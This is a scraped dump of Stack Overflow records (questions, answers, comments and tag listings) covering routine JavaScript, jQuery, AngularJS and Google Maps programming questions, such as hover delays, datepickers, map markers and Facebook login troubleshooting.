has answer: http://stackoverflow.com/a/25818209
answer count: 1

http://stackoverflow.com/comment/40426964
has text: Only one *value* can be returned. So put *more properties* into the *single returned object-value*.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25839066
type: QuestionComment

http://stackoverflow.com/q/25806334
has comment: http://stackoverflow.com/comment/40366655
score: 0
tagged with: asp.net
has body: In the below code i have window.open method in js to open a page and there is another click event.The Click event is not getting fired.When it is window.showmodal dialog the click event is firing.I remove window.showmodal dialog because chrome doesn't support it .Pls help me to solve the issue. ScriptManager.RegisterStartupScript(this, GetType(), "ShowPopUp", "ShowPopUp()", true); function ShowPopUp() { var sFeatures = "dialogHeight: 400px;"; var myWindow = window.open("/Transaction/QuoteFromVendor.aspx", "QuoteFromVendor", "width=900,height=200",sFeatures); window.document.getElementById("&lt;%= btnHiddenForUpdate.ClientID%&gt;").click(); } &lt;input type="button" id="btnHiddenForUpdate" runat="server" style="display:none" onserverclick="btnHiddenForUpdate_ServerClick" /&gt;
has answer: http://stackoverflow.com/a/25806554
type: UnansweredQuestion
has title: On ServerClick event in Asp.net is not working
has answer: http://stackoverflow.com/a/25808742
type: Question
answer count: 2
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/a/25717168
has body: Seem that Object.create, has proposed by some of you, does just that. Object.create() - JavaScript | MDN
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25716521

http://stackoverflow.com/q/25754334
upvote count: 2
accepted answer: http://stackoverflow.com/a/25756392
answer count: 1
has title: clone form elements and increment name tags
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25756392
tagged with: http://stackoverflow.com/tag/html
score: 2
type: AnsweredQuestion
downvote count: 0
type: Question
has body: Using the following html and forked js I have nearly got this working however, I need to change the label references to category1 and it's inner html to increment with the id etc Any ideas? Regards Pete Category1 Option one Option two qty1 Cost1 Total1 New + And my JS code: var regex = /^(.*)(\d)+$/i; var cloneIndex = $(".category").length + 1; $(document).on("click", 'button.clone', function(){ $(this).closest(".category").clone().insertBefore(".before") .attr("id", "category" + cloneIndex).find("[id], [name]").each(function() { this.id = this.id.replace(/\d+$/, cloneIndex ); this.name = this.name.replace(/\d+$/, cloneIndex ); }); cloneIndex++; });
tagged with: javascript

http://stackoverflow.com/a/25803437
has body: Use deep watch The $watch() function takes a third, optional argument for "object equality." If you pass-in "true" for this argument, AngularJS will actually perform a deep-object-tree comparison. This means that within each $digest, AngularJS will check to see if the new and old values have the same structure (not just the same physical reference). This allows you to monitor a larger landscape; however, the deep object tree comparison is far more computationally expensive. $scope.$watch('itinerary',function (newVal,oldVal) { console.log(newVal) },true);
type: AcceptedAnswer
downvote count: 0
upvote count: 8
answers question: http://stackoverflow.com/q/25803170
type: Answer
score: 8
accepted answer of: http://stackoverflow.com/q/25803170

dom
tags question: http://stackoverflow.com/q/25857997
tags question: http://stackoverflow.com/q/25764221
tags question: http://stackoverflow.com/q/25743324
tags question: http://stackoverflow.com/q/25828759
type: Tag
tags question: http://stackoverflow.com/q/25791868
tags question: http://stackoverflow.com/q/25790778
tags question: http://stackoverflow.com/q/25817513
tags question: http://stackoverflow.com/q/25730371
tags question: http://stackoverflow.com/q/25870424
tags question: http://stackoverflow.com/q/25857986
tags question: http://stackoverflow.com/q/25786040
tags question: http://stackoverflow.com/q/25814089
tags question: http://stackoverflow.com/q/25743643
tags question: http://stackoverflow.com/q/25757110
tags question: http://stackoverflow.com/q/25786525
tags question: http://stackoverflow.com/q/25777168
tags question: http://stackoverflow.com/q/25837714
tags question: http://stackoverflow.com/q/25838297
tags question: http://stackoverflow.com/q/25753827
tags question: http://stackoverflow.com/q/25776466
tags question: http://stackoverflow.com/q/25774848
tags question: http://stackoverflow.com/q/25742124
tags question: http://stackoverflow.com/q/25847869
tags question: http://stackoverflow.com/q/25741387
tags question: http://stackoverflow.com/q/25783789
tags question: http://stackoverflow.com/q/25834857
tags question: http://stackoverflow.com/q/25818735
tags question: http://stackoverflow.com/q/25861096
tags question: http://stackoverflow.com/q/25766664
tags question: http://stackoverflow.com/q/25714223
tags question: http://stackoverflow.com/q/25718807
tags question: http://stackoverflow.com/q/25819427
tags question: http://stackoverflow.com/q/25786557
tags question: http://stackoverflow.com/q/25817925
tags question: http://stackoverflow.com/q/25850303
tags question: http://stackoverflow.com/q/25740174
tags question: http://stackoverflow.com/q/25715538
tags question: http://stackoverflow.com/q/25760431
tags question: http://stackoverflow.com/q/25812137
tags question: http://stackoverflow.com/q/25768145
tags question: http://stackoverflow.com/q/25747437
tags question: http://stackoverflow.com/q/25713853
tags question: http://stackoverflow.com/q/25829222
tag name: dom
tags question: http://stackoverflow.com/q/25818689
tags question: http://stackoverflow.com/q/25773322
tags question: http://stackoverflow.com/q/25823845
tags question: http://stackoverflow.com/q/25755232
tags question: http://stackoverflow.com/q/25840318
tags question: http://stackoverflow.com/q/25778251
tags question: http://stackoverflow.com/q/25774934
tags question: http://stackoverflow.com/q/25820778
tags question: http://stackoverflow.com/q/25851579
tags question: http://stackoverflow.com/q/25787308
tags question: http://stackoverflow.com/q/25751203
tags question: http://stackoverflow.com/q/25818440

http://stackoverflow.com/tag/csv
type: Tag
tag name: csv
tags question: http://stackoverflow.com/q/25716680
tags question: http://stackoverflow.com/q/25765248
tags question: http://stackoverflow.com/q/25763045
tags question: http://stackoverflow.com/q/25806304
tags question: http://stackoverflow.com/q/25845234
tags question: http://stackoverflow.com/q/25778666

http://stackoverflow.com/a/25749361
type: Answer
downvote count: 0
score: 1
has body: This is jsfiddle :http://jsfiddle.net/mhmpn3wo/1/ Google Visualization does not provide API to get data between data points. However, we can calculate y-values using x-coordinates and y-values of data points.(Coordinate is mouse position.) For example, there are two points (10, 100) and (20, 200). We can get y-value at x = 15 by f(15) = (200 - 100) / (20 - 10) * (15 - 10) + 100 = 150 f(x) = (y2 - y1)/(x2 - x1) * (x1 - x) + y1 = y We need array of data points pairs like (x-coordinate, y-value). In Google LineChart, coordinates of data points are property name $m.xZ of LineChart object.($m.xZ is set after LineChart.draw() function call) var data = google.visualization.arrayToDataTable([ ['Year', 'Sales', 'Expenses'], ['2004', 1000, 400], ['2005', 1170, 460], ['2006', 660, 1120], ['2007', 1030, 540] ]); var chart = new google.visualization.LineChart(document.getElementById('chart_div')); chart.draw(data, {}); var lines = []; for (var propertyName in chart.$m.mZ) { var id = propertyName.split('#'); var coordinate = chart.$m.mZ[propertyName].center; if (typeof lines[id[1]] === "undefined") { lines[id[1]] = []; } lines[id[1]].push({x: coordinate.x, value: parseFloat(data.Ad[parseInt(id[2])][parseInt(id[1]) + 1].Pe)}); } Now, lines array contains all pairs of x-coordinate and y-value of data points. We need to attach mouse move event handler on the chart. google.visualization.events.addListener(chart, 'onmousemove', mouseMoveHandler); function mouseMoveHandler(e) { var target = e.targetID.split("#"); if (target[0] === "line") { var currentLine = lines[parseInt(target[1])]; var count = currentLine.length; for (var i = 0; i &lt; count; i++) { if (currentLine[i].x &gt;= e.x) { var slope = (currentLine[i].value - currentLine[i - 1].value) / (currentLine[i].x - currentLine[i - 1].x); var value = ((e.x - currentLine[i - 1].x) * slope + currentLine[i - 1].value).toFixed(2); $("#tooltip").css('left', e.x + "px").css('top', (e.y - 20) + "px").html(value).show(); break; } } } }
answers question: http://stackoverflow.com/q/25716749
upvote count: 1

http://stackoverflow.com/q/25788586
duplicate of: http://stackoverflow.com/q/3181080
favorite count: 0
has body: I want to know the network status using JavaScript,for example, if I plug out the network cable, there will be a pop up dialog to warn me this thing.
upvote count: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/3181080
type: Question
score: -2
tagged with: javascript
has answer: http://stackoverflow.com/a/25788653
downvote count: 2
has title: Check network status using JavaScript
answer count: 1

http://stackoverflow.com/q/25819639
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25819668
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25819668
score: 0
has body: I wrote a code where a div appears if someone hovers other div, I added the 5 seconds delay so the shown div stays but the problem is that I want it to stay until next link hovered. Means I need the first div to be disappeared if the second link hovered. Here's JS Fiddle link of my existing code: http://jsfiddle.net/np87e/880/ $( document ).ready(function() { $("#theLink3").hover( function () { $("#theDiv3").slideDown(); }, function () { $("#theDiv3").delay(5000).slideUp(); } ); $("#theLink4").hover( function () { $("#theDiv4").slideDown(); }, function () { $("#theDiv4").delay(5000).slideUp(); } ); });
answer count: 1
has title: Jquery Delay overrule on next link or div hovered

http://stackoverflow.com/comment/40834862
type: Comment
comment on: http://stackoverflow.com/a/26063888
type: AnswerComment
has text: This should be a comment rather than an answer to the question
score: 0

http://stackoverflow.com/comment/40371449
type: Comment
comment on: http://stackoverflow.com/q/25809275
score: 1
type: QuestionComment
has text: [too long, didn't read](http://en.wikipedia.org/wiki/Wikipedia:Too_long;_didn't_read).

http://stackoverflow.com/q/25768895
tagged with: javascript
tagged with: jquery
score: 4
favorite count: 0
has answer: http://stackoverflow.com/a/25778871
has title: How can I get this pop-up to appear after scrolling through relative percentage of the page?
has answer: http://stackoverflow.com/a/25779672
linked to: http://stackoverflow.com/q/1304378
type: UnansweredQuestion
tagged with: wordpress
tagged with: scroll
tagged with: php
has body: I'm working on a Wordpress website which has an "article box" feature which suggests another article on the website after a user has scrolled to point X on the page. The problem is that this is not a relative value, but an absolute one. Meaning that the box appears very early in longer articles, late in short articles, and is inconsistent across different screen resolutions. The "article box" takes a few values set in the admin panel including "distance from the top", "which articles are displayed", the "article display view", "number of posts", and "disable time". I hope that provides context for the code excerpt below. You can see a live example by scrolling down this page. I've found the relevant JavaScript: /** * More stories box */ if(tds_more_articles_on_post_enable == "show") { //adding event to scroll jQuery(window).scroll(function(){ var cookie_more_box = td_read_site_cookie('td-cookie-more-articles'); //alert(cookie_more_box); //setting distance from the top if(!isNaN(parseInt(tds_more_articles_on_post_pages_distance_from_top)) &amp;&amp; isFinite(tds_more_articles_on_post_pages_distance_from_top) &amp;&amp; parseInt(tds_more_articles_on_post_pages_distance_from_top) &gt; 0){ var set_distance = parseInt(tds_more_articles_on_post_pages_distance_from_top); } else { var set_distance = 400; } if (jQuery(this).scrollTop() &gt; set_distance &amp;&amp; cookie_more_box != 'hide-more-articles-box') { jQuery('.td-more-articles-box').addClass('td-front-end-display-block'); } else { jQuery('.td-more-articles-box').removeClass('td-front-end-display-block'); } }); //adding event to hide the box jQuery('.td-close-more-articles-box').click(function(){ //hiding the box jQuery('.td-more-articles-box').removeClass('td-front-end-display-block'); jQuery('.td-more-articles-box').hide(); How can I make it so the box appears once the user has reached a certain percentage on the page?
has comment: http://stackoverflow.com/comment/40298175
type: Question
upvote count: 4
answer count: 2
downvote count: 0

http://stackoverflow.com/comment/40357655
type: QuestionComment
comment on: http://stackoverflow.com/q/25801171
has text: Post your code. jsfiddle.net I'm guessing you may be assigning the selector variable before including the objects in the page.
score: 0
type: Comment

http://stackoverflow.com/q/25796300
favorite count: 0
possible better answer: http://stackoverflow.com/a/25796335
has answer: http://stackoverflow.com/a/25796335
has comment: http://stackoverflow.com/comment/40348446
tagged with: http://stackoverflow.com/tag/html
has body: How can I get this textarea data into a div? I've tried .append() and .val() and .text() but it doesn't help me. HTML: Insert text to be modified here Append jQuery: $( "#append" ).click( function() { ( "#txt" ).append( function() { ( "Input" ).val(); }); });
has comment: http://stackoverflow.com/comment/40348679
tagged with: append
has comment: http://stackoverflow.com/comment/40348917
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25796341
has comment: http://stackoverflow.com/comment/40348399
downvote count: 2
has comment: http://stackoverflow.com/comment/40349882
has comment: http://stackoverflow.com/comment/40349382
type: Question
has comment: http://stackoverflow.com/comment/40348639
has comment: http://stackoverflow.com/comment/40348626
score: -2
tagged with: javascript
has comment: http://stackoverflow.com/comment/40349917
has title: How do I append text from a textbox to a div?
accepted answer: http://stackoverflow.com/a/25796341
answer count: 2
upvote count: 0
tagged with: jquery
tagged with: textbox

http://stackoverflow.com/q/25738502
tagged with: extjs-mvc
has title: Does an extension exist on EXTJS4.2 to create ExtJS 5 like Chained stores
tagged with: extjs4.2
has comment: http://stackoverflow.com/comment/40243115
answer count: 0
upvote count: 2
type: Question
tagged with: javascript
score: 2
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: sencha-architect
has body: Does an extension exist on EXTJS4.2 to create ExtJS 5 like Chained stores, it's a useful feature.

http://stackoverflow.com/comment/40354497
comment on: http://stackoverflow.com/q/25799408
type: Comment
type: QuestionComment
score: 7
has text: Please not again. In real life no one does that, why everyone cares about it?

http://stackoverflow.com/q/25800171
tagged with: javascript
has comment: http://stackoverflow.com/comment/40356220
tagged with: angular-ui-bootstrap
has comment: http://stackoverflow.com/comment/40356097
score: 0
has comment: http://stackoverflow.com/comment/40356056
has title: Adding Bootstrap UI Module to angularjs project
answer count: 1
has comment: http://stackoverflow.com/comment/40356275
tagged with: angularjs
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25800267
has comment: http://stackoverflow.com/comment/40356131
has body: I'm trying to add the bootstrap-ui module to my angular.js project. The documentation states that I simply have to add angular.module('myModule', ['ui.bootstrap']); to get this working. But I can't find out how I would add this in any way. I've read the whole chapter of https://docs.angularjs.org/guide/module and read lots of threads about it, but everything I tested didn't work so far. my app.js: angular.module('MyApp', ['ngCookies', 'ngResource', 'ngMessages', 'ngRoute', 'mgcrea.ngStrap']) .config(['$routeProvider', '$locationProvider', function ($routeProvider, $locationProvider) { $locationProvider.html5Mode(true); // followed by my routing myCtrl angular.module('MyApp') .controller('MyCtrl', ['$scope', '$location', '$rootScope', '$routeParams', '$resource', '$alert', 'MyService', function ($scope, $location, $rootScope, $routeParams, $resource, $alert, MyService) { what I tried: adding 'ui.bootstrap' after 'mgcrea.ngStrap' in app.js adding 'ui.bootstrap' after *'MyService' in myCtrl many more similar variations The error messages I get depend on what I did. Since I'm probably completely on the wrong path at the moment I was hoping someone could tell me how I can add a module in angular.js correctly? edit some error messages I encountered: When I start my Crtl code with: angular.module('MyApp', ['ui.bootstrap']) I get [ng:areq] Argument 'NavbarCtrl' is not a function, got undefined (navbarctrl is a completely different ctrl) when I start my app.js with angular.module('MyApp', ['ngCookies', 'ngResource', 'ngMessages', 'ngRoute', 'mgcrea.ngStrap', 'ui.bootstrap']) I get TypeError: object is not a function In my AuthService I try to use $alert (this works without bootstrap-ui) like $alert({ title: 'Success!', //... **edit 2: ** the problem seems to be that I can only use ngStrp OR ui.bootstrap (both use bootstrap underneath)
tagged with: twitter-bootstrap
has comment: http://stackoverflow.com/comment/40356122
type: Question
has comment: http://stackoverflow.com/comment/40355917
has comment: http://stackoverflow.com/comment/40377965

http://stackoverflow.com/comment/40254168
has text: Thanks Marijn, this gets me closer to the final solution (still need to implement the insertion of a tab on keyup). I'm actually working on the new JSFiddle and decided on going with TAB as the modifier key, as you can see not the easiest way to go, but I believe it'll be worth it.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25740428
type: Comment

http://stackoverflow.com/q/25776621
has comment: http://stackoverflow.com/comment/40313147
favorite count: 0
linked to: http://stackoverflow.com/q/699065
has title: stop the page refreshing when enter is pressed while cursor is in a form input element but still submit?
downvote count: 0
has comment: http://stackoverflow.com/comment/40313108
has answer: http://stackoverflow.com/a/25776648
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/40312944
has comment: http://stackoverflow.com/comment/40313276
type: Question
accepted answer: http://stackoverflow.com/a/25778309
has comment: http://stackoverflow.com/comment/40312931
tagged with: javascript
tagged with: jquery
tagged with: ajax
possible better answer: http://stackoverflow.com/a/25776648
has answer: http://stackoverflow.com/a/25776761
answer count: 3
has answer: http://stackoverflow.com/a/25778309
upvote count: 1
tagged with: http://stackoverflow.com/tag/html
has body: I have been reading through many articles relating to this but they only show how to prevent anything happening not only the page refresh. But I need to have it so when enter key is pressed the text field is submitted via a ajax request without the page refresh, like how I can use the input type button with a onclick event. iv added a very basic mock up below to help explain what I mean. Demo Post

http://stackoverflow.com/comment/40488447
has text: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/61358/discussion-between-ericmjl-and-felix-kling).
score: 0
comment on: http://stackoverflow.com/q/25872726
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40254078
comment on: http://stackoverflow.com/q/25744516
score: 0
type: Comment
type: QuestionComment
has text: @BenFortune Its from website root

http://stackoverflow.com/a/25871822
downvote count: 0
answers question: http://stackoverflow.com/q/25871191
upvote count: 2
has body: You are not bind a model for the view, which can reflect the changes. The current code just reads the model (in this case the somevar) state. Use ng-model instead of ng-checked. The angular will handle the rest: HTML &lt;div ng-app ng-controller="ParentCtrl"&gt; &lt;ul&gt; &lt;li ng-repeat="city in cities"&gt;{{city}}&lt;input type="checkbox" ng-model="$parent.somevar" /&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; JS function ParentCtrl($scope) { $scope.cities = ["NY", "Amsterdam", "Barcelona"]; $scope.somevar = true; } http://jsfiddle.net/eqb23s8t/4/
type: Answer
score: 2

http://stackoverflow.com/comment/40218750
type: AnswerComment
score: 0
type: Comment
has text: Well, you could do something like that : http://jsfiddle.net/q4f2hdxd/3/ I leave it here in the comment, because it was not in the initial question. I think I answered the original question ;-)
comment on: http://stackoverflow.com/a/25725032

http://stackoverflow.com/q/25819058
linked to: http://stackoverflow.com/q/12370056
linked to: http://stackoverflow.com/q/9337619
tagged with: facebook-javascript-sdk
favorite count: 0
tagged with: omniauth-facebook
downvote count: 0
type: UnansweredQuestion
tagged with: facebook
score: 6
has title: Facebook NoAuthorizationError after passing signed_parameters manually
has body: I've had a lot of issues trying to get the client-side login to work, so I'm going to take the liberty of referencing a ton of other questions here... none have resulted in an answer that has worked for me. CONTEXT Server-side login works fine Client-side login using JS SDK works fine on Safari* (have not tested in Firefox or IE or mobile non-Chrome), but not in Chrome, which is what this question is about (and majority of my users use Chrome so it's super important) Gem versions: ruby (2.1.2) rails (4.1.1) oauth (0.4.7) oauth2 (1.0.0) omniauth (1.2.2) omniauth-facebook (2.0.0) omniauth-oauth2 (1.2.0) This is for an app in development mode, where as the developer, I am definitely authorized to log in *By works fine, I mean if you just copied the code from Ryan Bates' RailsCast (http://railscasts.com/episodes/360-facebook-authentication?view=asciicast) it works without any additional anything TL:DR; I'm passing the following URL which should work... `http://localhost:3000/auth/facebook/callback?signed_request=ASDF.JOUYOUY` // Obviously signed_request is a much longer string ...but am still getting the error OmniAuth::Strategies::Facebook::NoAuthorizationCodeError (must pass either acodeparameter or a signed request (viasigned_requestparameter or afbsr_XXXcookie)): TROUBLESHOOTING TO DATE + OVERVIEW OF MANY OTHER ERRORS/ POTENTIAL SOLUTIONS The code solutions below build on the code from Ryan Bates' RailsCast: $('#sign_in').click (e) -> e.preventDefault() FB.login (response) -> window.location = '/auth/facebook/callback' if response.authResponse Hurdle #1: Are 3rd party cookies blocked? Doesn't lead to an error necessarily, just makes it so that you can't connect the app to Facebook. Connecting your app to Facebook first requires you to be logged in with Facebook because the code FB.login (response) -> window.location = "/auth/facebook/callback" if response.authResponse depends on the validity of authResponse and its contained signedRequest parameter. If cookies are b…
has comment: http://stackoverflow.com/comment/53918302
linked to: http://stackoverflow.com/q/11407216
type: Question
has answer: http://stackoverflow.com/a/45537780
linked to: http://stackoverflow.com/q/11970977
answer count: 1
upvote count: 6
tagged with: javascript
has comment: http://stackoverflow.com/comment/49238793
tagged with: omniauth

http://stackoverflow.com/a/25775000
has comment: http://stackoverflow.com/comment/40309953
answers question: http://stackoverflow.com/q/25774934
downvote count: 1
has comment: http://stackoverflow.com/comment/40310033
upvote count: 0
has body: The function is called document.getElementsByTagName (with an s) and it yields a list of elements. So you will need to address it with an index (a[0] for the first input, etc.) I think the problem is determining which of the inputs you will need to change though, if they're not marked with IDs.
score: -1
has comment: http://stackoverflow.com/comment/40309875
has comment: http://stackoverflow.com/comment/40309876
type: Answer

http://stackoverflow.com/a/31615418
has body: i just made a plugin that do that. cordova-dialog-gps I hope you serve if so , remember to provide some feedback .
type: Answer
score: 7
has comment: http://stackoverflow.com/comment/51291536
upvote count: 7
has comment: http://stackoverflow.com/comment/51181022
downvote count: 0
answers question: http://stackoverflow.com/q/25800962

http://stackoverflow.com/comment/40460617
has text: You have too many variables - you can't have both the multiplier and the end result. It's like saying `x * 2 = y` but you want `x = 2` and `y = 3`. Anyway, here's a super simple code I wrote for you, it adds `x` to every second that has passed since the start date.
comment on: http://stackoverflow.com/a/25857207
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/53470226
answers question: http://stackoverflow.com/q/25752138
score: 1
upvote count: 2
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/108303305
has comment: http://stackoverflow.com/comment/108287341
has body: By using SFMediaStream library you can socket.io and Nodejs server for live streaming your microphone from a browser. But this library still need some improvement before release to the production. For the presenter var mySocket = io("/", {transports:['websocket']}); // Set latency to 100ms (Equal with streamer) var presenterMedia = new ScarletsMediaPresenter({ audio:{ channelCount:1, echoCancellation: false } }, 100); // Every new client streamer must receive this header buffer data presenterMedia.onRecordingReady = function(packet){ mySocket.emit('bufferHeader', packet); } // Send buffer to the server presenterMedia.onBufferProcess = function(streamData){ mySocket.emit('stream', streamData); } presenterMedia.startRecording(); For the streamer var mySocket = io("/", {transports:['websocket']}); // Set latency to 100ms (Equal with presenter) var audioStreamer = new ScarletsAudioBufferStreamer(100); audioStreamer.playStream(); // Buffer header must be received first mySocket.on('bufferHeader', function(packet){ audioStreamer.setBufferHeader(packet); }); // Receive buffer and play it mySocket.on('stream', function(packet){ // audioStreamer.realtimeBufferPlay(packet); audioStreamer.receiveBuffer(packet); }); // Request buffer header mySocket.emit('requestBufferHeader', ''); Or you can test it from your localhost with this example

http://stackoverflow.com/q/25781101
has answer: http://stackoverflow.com/a/25781114
favorite count: 0
has body: Having a problem in trying to copy the height of a responsive image to my mask on first load and on every time the window is resized. I've tried a few js scripts, but still I cant make it happen. It is really a responsive image slider with a div(mask) exactly over it whatever the viewport screen size is. this is my jQuery script: function maskInit(){ var offsetDots = $("#slide").offset().top + $("#slide").height() + "px"; $("#mask").height() = offsetDots; } $(document).ready(function() { maskInit(); }); $(window).resize(function(){ maskInit(); }); and my CSS: #slide{ height: 10vw; /* to simulate a responsive image */ width: 100%; margin: 0; padding: 0; background: red; z-index: 0; } #mask{ position: absolute; z-index: 1; top: 0; right: 0; left: 0; background: gray; opacity: 0.8; } I've setup a jsFiddle here to simulate my problem
tagged with: http://stackoverflow.com/tag/html
tagged with: css
type: AnsweredQuestion
score: 1
upvote count: 1
accepted answer: http://stackoverflow.com/a/25781114
type: Question
tagged with: responsive-design
tagged with: javascript
answer count: 2
possible better answer: http://stackoverflow.com/a/25781258
downvote count: 0
has answer: http://stackoverflow.com/a/25781258
tagged with: jquery
has title: Changing the mask height depending on a responsive image

http://stackoverflow.com/comment/40241470
score: 4
type: Comment
type: QuestionComment
has text: `text/javascript` is the default type, so you can omit it, it makes no difference.
comment on: http://stackoverflow.com/q/25737619

http://stackoverflow.com/a/66797379
type: Answer
answers question: http://stackoverflow.com/q/25785914
score: 1
upvote count: 1
downvote count: 0
has body: You can also simply disable default arrows, add yours, and add js events (along with your own css): [your arrow code/image] [your arrow code/image] Slide 1 Slide 2 Slide 3 Slide 4 // ideally on domready or in footer new fullpage('#fullpage', { controlArrows: false, // arrows disabled }); $('.fp-custom-arrow.prev').on('click', function(){ fullpage_api.moveSlideLeft(); }); $('.fp-custom-arrow.next').on('click', function(){ fullpage_api.moveSlideRight(); });

http://stackoverflow.com/q/25867257
tagged with: javascript
has title: Javascript - loop through datepickers and set date
answer count: 1
has answer: http://stackoverflow.com/a/25867583
has comment: http://stackoverflow.com/comment/40477863
has body: I don't know Javascript at all. I have a form where there can be any number of datepicker textboxes. When the user selects a date in the first datepicker textbox, then I want all the remaining datepicker textboxes to have that same date. Does this require a function? Edit: I tried to create a function, but I don't know javascript at all! function UpdateValuationDates(event) { $valuationDatePicker = $(event.target); var valuationDate = $valuationDatePicker.datepicker("getDate"); if (valuationDate != null) { //loop through all items document.getElementById("dateValuationDate").Text $valuationDatePicker.datepicker("setDate", valuationDate); $valuationDatePicker.trigger('change'); } } So I think this can be ignored. I have also read that there is a datepicker on selected event: $(".date").datepicker({ onSelect: function(dateText) { display("Selected date: " + dateText + "; input's current value: " + this.value); } }); So I guess I need to edit this code to populate the rest of the textboxes, but how to find out at runtime how many there are? The HMTL has a repeater with the datepicker repeated x number of times: &lt;abc:DatePicker runat="server" ID="dateValuationDate"
favorite count: 0
downvote count: 2
accepted answer: http://stackoverflow.com/a/25867583
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40477446
type: Question
upvote count: 0
score: -2

http://stackoverflow.com/comment/40458303
comment on: http://stackoverflow.com/q/25856457
score: 0
type: Comment
type: QuestionComment
has text: What have you done to debug? Your code examples don't really show how the functions are actually called, so it is unclear where you are having problems?

http://stackoverflow.com/comment/40446679
type: Comment
has text: @Mike thats how I do it, the original question seemed to ask otherwise. I am unfamiliar with other methods, since this works fine.
comment on: http://stackoverflow.com/a/25849997
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40253777
comment on: http://stackoverflow.com/q/25744632
score: 0
has text: Are the alerts getting called after you call the service?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25769684
tagged with: google-maps
linked to: http://stackoverflow.com/q/22203336
tagged with: javascript
has comment: http://stackoverflow.com/comment/40300134
tagged with: google-maps-api-3
score: 0
has comment: http://stackoverflow.com/comment/40301191
has comment: http://stackoverflow.com/comment/40302873
has comment: http://stackoverflow.com/comment/40300831
answer count: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/22202569
has body: Recently, I was having an issue getting multiple markers to display using Google Maps version 3.16. After doing some research, I saw that versions 3.16 and greater had issues displaying markers, so I reverted to 3.15. I am now discovering that version 3.15 is no longer displaying multiple markers with labels either. I make the map in an init javascript function: TripMap.map = new google.maps.Map($('#tripMap')[0], mapOptions); Then in a later method, I make a set of lats and longs and create MarkerWithLabels: //Lat Lngs will eventuall be needed for all coords var originLatLng = new google.maps.LatLng(result.resultVal.oycord, result.resultVal.oxcord); var boardLatLng = new google.maps.LatLng(result.resultVal.bycord, result.resultVal.bxcord); var alightLatLng = new google.maps.LatLng(result.resultVal.aycord, result.resultVal.axcord); var destinationLatLng = new google.maps.LatLng(result.resultVal.dycord, result.resultVal.dxcord); //Create marker labels makePathPointLabel = function (coordinate, labelContent, colorCode) { return new MarkerWithLabel({ position: coordinate, map: TripMap.map, labelAnchor: new google.maps.Point(5, 50), labelStyle: { 'color': '#000', 'fontWeight': 'bold' }, icon: { url:'https://chart.googleapis.com/chart?chst=d_map_pin_letter&amp;chld=' + labelContent + '|' + colorCode + '|000000' } }); } //Create map markers, each with a different colors. Colors are hard coded, and have no meaning other than making // the map "pop" more at this point. May want to add options to change colors in the future. TripMap.originMarker = makePathPointLabel(originLatLng, "O", '008000'); TripMap.destinationMarker = makePathPointLabel(destinationLatLng, "D", 'FF0000'); TripMap.boardMarker = makePathPointLabel(boardLatLng, "B", '008000'); TripMap.alightMarker = makePathPointLabel(alightLatLng, "A", 'FF0000'); //Sets the zoom level of the google map to incorporate all four of the trip place markers var bounds = new google.maps.LatLngBounds(); bounds.extend(originLatLng);…
duplicate of: http://stackoverflow.com/q/22202569
type: Question
has title: Google Maps 3.15 Can Only Displays One Marker

http://stackoverflow.com/q/25845644
upvote count: 1
downvote count: 1
type: AnsweredQuestion
has body: I need to place circles around multiple markers in Maps API v3 This is what I've done so far: function initialize(){ var locations = [ ['Band Stand', 19.04519, 72.819091], ['Gateway Of India Mumbai', 18.921984, 72.834654], ['Haji Ali', 18.9778192, 72.8104819], ['Kings Circle', 19.032261, 72.857225], ]; var map = new google.maps.Map(document.getElementById('map-sec'), { zoom: 12, center: new google.maps.LatLng(19.0822507,72.8811862), mapTypeId: google.maps.MapTypeId.ROADMAP }); var infowindow = new google.maps.InfoWindow(); var marker, i; var circle = new google.maps.Circle({ map: map, radius: 1000, fillColor: '#AA0000' }); for (i = 0; i &lt; locations.length; i++) { marker = new google.maps.Marker({ position: new google.maps.LatLng(locations[i][1], locations[i][2]), map: map }); circle.bindTo('center', marker, 'position'); google.maps.event.addListener(marker, 'click', (function(marker, i) { return function() { infowindow.setContent(locations[i][0]); infowindow.open(map, marker); } })(marker, i)); } } google.maps.event.addDomListener(window, 'load', initialize); However, this is giving me a circle around only one of the locations. What should I do to get multiple circles?
has title: Draw circles around multiple markers in Maps
type: Question
has answer: http://stackoverflow.com/a/25845702
tagged with: google-maps
answer count: 1
tagged with: javascript
tagged with: google-maps-api-3
score: 0
favorite count: 0
accepted answer: http://stackoverflow.com/a/25845702

http://stackoverflow.com/comment/40277442
type: Comment
score: 0
has text: Yes it works!, But still a small issue is, I am getting the `td` in odd way. ( the last row has only 4 td instead of 5 )
comment on: http://stackoverflow.com/a/25747642
type: AnswerComment

http://stackoverflow.com/q/25769964
type: Question
answer count: 1
downvote count: 0
tagged with: javascript
favorite count: 0
has body: Is it possible to redirect the popup Html of a chrome extension to a remote URL? I'm looking into this scenario for the purpose of OAuth. When a user clicks on the "Login with FB" button, I want the Html page of the chrome extension to redirect to: https://www.facebook.com/dialog/oauth?client_id={app-id}&amp;redirect_uri={redirect-uri} so that the user is prompted to log in. Is this the right approach to do authentication in a Chrome extension anyway?
tagged with: google-chrome-extension
accepted answer: http://stackoverflow.com/a/25770235
tagged with: oauth
upvote count: 3
tagged with: facebook
has title: Redirect the Chrome extension popup.html page to a URL for Oauth
tagged with: google-chrome
type: AnsweredQuestion
score: 3
has answer: http://stackoverflow.com/a/25770235

http://stackoverflow.com/q/25732516
tagged with: javascript
